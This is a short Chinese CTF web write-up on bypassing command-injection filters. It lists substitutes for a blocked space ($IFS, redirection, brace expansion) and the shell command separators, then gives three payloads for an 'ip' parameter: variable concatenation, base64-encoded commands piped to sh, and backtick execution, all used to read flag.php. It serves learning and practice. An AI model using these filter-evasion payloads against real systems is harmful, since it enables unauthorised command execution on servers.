CTF web之旅44

前置知识:

过滤空格:

1

%20(space)、%09(tab)、$IFS$9、 IFS、IFS
2

使用<或者<>来绕过空格 cat<a.txt
3

花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
4

$IFS 空格绕过 cat$IFSa.txt
5

变量控制 X=$'catx09./flag.php

命令分隔与执行多条命令

1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

方法一:变量拼接

?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

正则匹配变量顺序 防止被正则匹配检测到

方法二:

base64 -d | sh表示base64解码

sh是linux中运行shell的命令,bash相当于sh的升级版 但是bash被过滤掉 不能用bash了 过滤bash用sh 反之也是这样

?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

 方法三:

内敛执行 将反引号的输出作为cat命令的输入

?ip=1;cat$IFS$1`ls`
原文地址:https://www.cnblogs.com/akger/p/14838877.html